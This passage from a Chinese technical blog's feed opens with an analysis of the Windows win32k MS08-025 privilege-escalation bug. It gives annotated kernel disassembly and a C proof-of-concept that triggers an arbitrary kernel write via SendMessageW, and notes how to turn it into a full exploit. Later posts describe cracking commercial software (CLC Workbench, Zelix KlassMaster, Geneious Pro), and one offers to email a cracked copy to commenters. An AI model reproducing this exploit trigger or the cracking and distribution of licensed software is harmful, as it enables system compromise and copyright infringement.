.text:BF86FB47 loc_BF86FB47:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j<br />
.text:BF86FB47&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_24], edx<br />
.text:BF86FB4A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+Address]<br />
.text:BF86FB4D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+UserBuffer], esi<br />
.text:BF86FB50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; ebx, ebx<br />
.text:BF86FB52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc&nbsp;&nbsp;&nbsp;&nbsp; ebx<br />
.text:BF86FB53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Alignment<br />
.text:BF86FB54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; eax, ecx<br />
.text:BF86FB56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Length &lt;- 由于 eax = 0，所以ProbeForWrite被绕过<br />
.text:BF86FB57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Address<br />
.text:BF86FB58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;ds:ProbeForWrite(x,x,x)<br />
<br />
<br />
bf80a1b0 e96ef4ffff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x1235 (bf809623)<br />
bf80a1b5 d1e8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shr&nbsp;&nbsp;&nbsp;&nbsp; eax,1<br />
bf80a1b7 894510&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+0x10],eax<br />
bf80a1ba ebf1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp;&nbsp;&nbsp;win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)<br />
bf80a1bc 8b4514&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax,[ebp+0x14]<br />
bf80a1bf f6400780&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp;&nbsp;byte ptr [eax+0x7],0x80<br />
bf80a1c3 8b4008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax,[eax+0x8]<br />
bf80a1c6 7408&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)<br />
bf80a1c8 c60000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; byte ptr [eax],0x0<br />
bf80a1cb e951f4ffff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x1225 (bf809621)<br />
bf80a1d0 668910&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [eax],dx&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 在这里，对前面传入的指针进行了2个字节的写操作，写入的数据为0<br />
bf80a1d3 e949f4ffff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x1225 (bf809621)<br />
bf80a1d8 6a00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;0x0<br />
bf80a1da 6a02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;0x2<br />
bf80a1dc ff7638&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;dword ptr [esi+0x38]<br />
bf80a1df e8d1690200&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;win32k!BuildHwndList (bf830bb5)<br />
bf80a1e4 8bf8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; edi,eax<br />
bf80a1e6 85ff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp;&nbsp;edi,edi<br />
bf80a1e8 0f8433f4ffff&nbsp;&nbsp;&nbsp;&nbsp; je&nbsp;&nbsp;&nbsp;&nbsp;win32k!xxxRealDefWindowProc+0x1225 (bf809621)<br />
bf80a1ee 8d7710&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; esi,[edi+0x10]<br />
<br />
<br />
那么怎么触发这个漏洞呢，我又分析了 user32.dll 和 win32k!NtUserMessageCall，<br />
发现触发这个漏洞很简单，只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了，<br />
下面是poc代码(注，改代码运行后由于在内核写了未映射的内存，会直接蓝屏，要改成可<br />
用的exploit，可以参考我以前的exploit)<br />
<br />
#include &lt;stdio.h&gt;<br />
#include &lt;windows.h&gt;<br />
<br />
int main(int argc,char *argv[])<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;&nbsp;&nbsp;dwHookAddress = 0x80000000;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}
<img src ="http://www.blogjava.net/galaxyp/aggbug/192731.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2008-04-14 13:09 <a href="http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CLC Combined Workbench 3.0.3 破解</title><link>http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Mon, 28 Jan 2008 05:18:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/178166.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html#Feedback</comments><slash:comments>11</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/178166.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/178166.html</trackback:ping><description><![CDATA[以前研究过2.0.2，这两天破解了一下3.0.3，目的是研究软件保护上的一些思想。<br />
实际上这两个版本在这方面没有多少变化。请不要留言索要该软件的破解，<br />
研究这个只是个人爱好，不发布破解版。<br />
详图：<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/3.0.3.1.JPG" border="0" /><br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/3.0.3.2.JPG" border="0" />
<img src ="http://www.blogjava.net/galaxyp/aggbug/178166.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2008-01-28 13:18 <a href="http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Zelix KlassMaster 破解</title><link>http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Thu, 10 Jan 2008 05:35:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/174256.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html#Feedback</comments><slash:comments>139</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/174256.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/174256.html</trackback:ping><description><![CDATA[<p>KlassMaster很强大的混淆工具，最大卖点应该是混淆时改程序的控制流程但程序功能不会发生变化这一点。<br />
当然，字符加密功能也很强大，对逆向工程会带来很大的麻烦。</p>
<p>当然，价格也不低：）上次破解了4.5，一直在用。前两天发现已经更新到5.1了，<br />
想办法弄了一个，企业版。<br />
<br />
本来不打算散发该软件的破解，原因是一年前我收到了官方的邮件，要求我不要做影响他们<br />
公司的事情，但又看到这么多朋友需要。那我就发布一个该软件的低版本，留下邮箱的我会<br />
给每人发一份，同时希望大家在小范围传播就行了。<br />
<img height="476" alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/ZKM.JPG" width="637" border="0" /> </p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/174256.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2008-01-10 13:35 <a href="http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JBoss启动过程(译) zt</title><link>http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Mon, 19 Nov 2007 08:08:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/161648.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/161648.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/161648.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">1.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">org.jboss.Main.main(String[])</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">为入口.</span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">2.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">main</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">函数创建一个名叫&#8221;jboss&#8221;的线程组, 然后创建一个属于该组的线程, 在线程中执行boot方法.</span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">3.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">boot</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">方法首先处理main函数中的参数(及一些其它的系统环境设置), 接着就用系统的属性创建了<span style="color: #99cc00">org.jboss.system.server.ServerLoader</span>实例[<span style="color: maroon">new ServerLoader(<span style="color: blue">props</span>)]. </span></span></p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">4.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">ServerLoader</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">注册Jboss相关的类路径, 包括XML解析器, jboss-jmx.jar, concurrent.jar及其它的一些额外的类路径.</span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">5.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">ServerLoader</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">通过load(ClassLoader)方法创建Jboss Server实例. 参数ClassLoader是ClassLoader parentCL = Thread.currentThread(). getContextClassLoader( )得到的当前线程的类加载器. 创建的Server实例是<span style="color: #99cc00">org.jboss.system.server.Server</span>接口的实现. load(ClassLoader)方法的细节:</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">用jar包及在ServerLoader中注册的类路径创建一个URLClassLoader的实例, 把传入的ClassLoader作为该URLClassLoader的parent. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">Server</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">接口的实现类由系统属性 jboss.server.type决定, 默认是&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #99cc00">org.jboss.system.server.ServerImpl.</span></span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">URLClassLoader</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">通过无参构造函数加载Server接口实现的实例. 在加载前把当前线程的类加载器置为该URLClassLoader, 在加载完成后再置回之前传入的ClassLoader. </span></p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">6.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">Server</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例用系统属性进行初始化[server.init(<span style="color: blue">props)].</span></span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">7.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">服务起动[server.start()]. 起动过程的默认实现如下:</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">把当前线程类型加载器置为加载该Server接口实现实例的ClassLoader.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">在jboss域内, 通过MBeanServerFactory的createMBeanServer(String)方法创建MbeanServer实例. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">在MBean Server上注册ServerImpl和ServerConfigImpl两个MBean.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">初始化统一的类加载仓库(unified class loader repository), 用来装载服务器配置目录及其它可选目录下的jar文件. 对于每一个jar文件和类目录都会创建一个相应的<span style="color: #99cc00">org.jboss.jmx.loading.UnifiedClassLoader</span>实例, 并且注册到统一的仓库中. 其中一个UnifiedClassLoader实例会被设置为当前线程上下文的ClassLoader. [?: <span style="color: #ffcc00">This effectively makes allUnifiedClassLoaders available through the thread context class loader.]</span></span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">接下来创建<span style="color: #99cc00">org.jboss.system.ServiceController</span>的MBean实例. ServiceController管理JBoss MBean服务的生命周期. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">org.jboss.deployment.MainDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例被创建并起动. MainDeployer管理部署的依赖和部署的定向. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">org.jboss.deployment.</span> <span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">JARDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例被创建并起动. JARDeployer处理jar包的部署.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">org.jboss.deployment.</span> <span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">SARDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例被创建并起动. SARDeployer处理JBoss MBean服务的部署.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">MainDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">对当前服务器文件环境里conf/jboss-service.xml定义的服务进行部署.</span> </p>
<p><span style="font-size: 12pt; font-family: 宋体">启动过程结束. 把当前线程上下文类加载器置回为起动前的ClassLoader.</span></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/161648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-11-19 16:08 <a href="http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>破解 Geneious Pro 3.0.6</title><link>http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 17 Oct 2007 05:54:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/153554.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html#Feedback</comments><slash:comments>22</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/153554.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/153554.html</trackback:ping><description><![CDATA[<p dir="ltr" style="margin-right: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 同样，破解该软件只是个人爱好，注册机不会发布。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 该软除了用到多种加密算法外（包括数字签名、非对称加密、对称加密、CRC校验、变种Base64编码等），最让人头痛的应该是反调试和字节码混淆。我们知道，在JAVA的重载中，反回值的类型并不做为重载签名。混淆后的代码反编译后会发现大量同名函数，参数类型也一样，所不同的只是反回值类型的不同。分析这样的代码往往会把你带进&#8220;误区&#8221;——跟进了不是系统调用的函数。而且，这样的函数也无法用字节码工具直接修改。反调试功能让该软件无法通过调试工具运行，这样你只能一步步分析反编译你的代码。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图：
<div align="center"><img height="716" alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneious_Pro.JPG" width="668" border="0" /></div>
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneiout_Pro4.JPG" border="0" /><br />
  <img src ="http://www.blogjava.net/galaxyp/aggbug/153554.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-10-17 13:54 <a href="http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>技术挑战——根据编码函数写出解码函数</title><link>http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Fri, 12 Oct 2007 01:49:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/152231.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/152231.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/152231.html</trackback:ping><description><![CDATA[<p align="left">第一个粘出解码函数的人将得到价值几百美元的混淆工具，据评价也是目前最好的混淆器。当然，前题是你想要：）。<br />
<br />
public class Base64Coder<br />
{</p>
<p>&nbsp;&nbsp;&nbsp; public static void main(String[] args)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; &nbsp;String a = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";//这里不技持中文<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String ru;<br />
&nbsp;&nbsp;&nbsp; &nbsp;char[] ch;<br />
&nbsp;&nbsp;&nbsp; &nbsp;try{<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;byte[] bt= a.getBytes("UTF-8");<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;ch = encrypt(bt);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;//ru = new String(decrypt(ch));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;System.out.println(ru);<br />
&nbsp;&nbsp;&nbsp; &nbsp;}catch(Exception e){}<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public static char[] encrypt(byte abyte0[])<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i = abyte0.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int j = (i * 4 + 2) / 3;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int k = ((i + 2) / 3) * 4;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char ac[] = new char[k];<br />
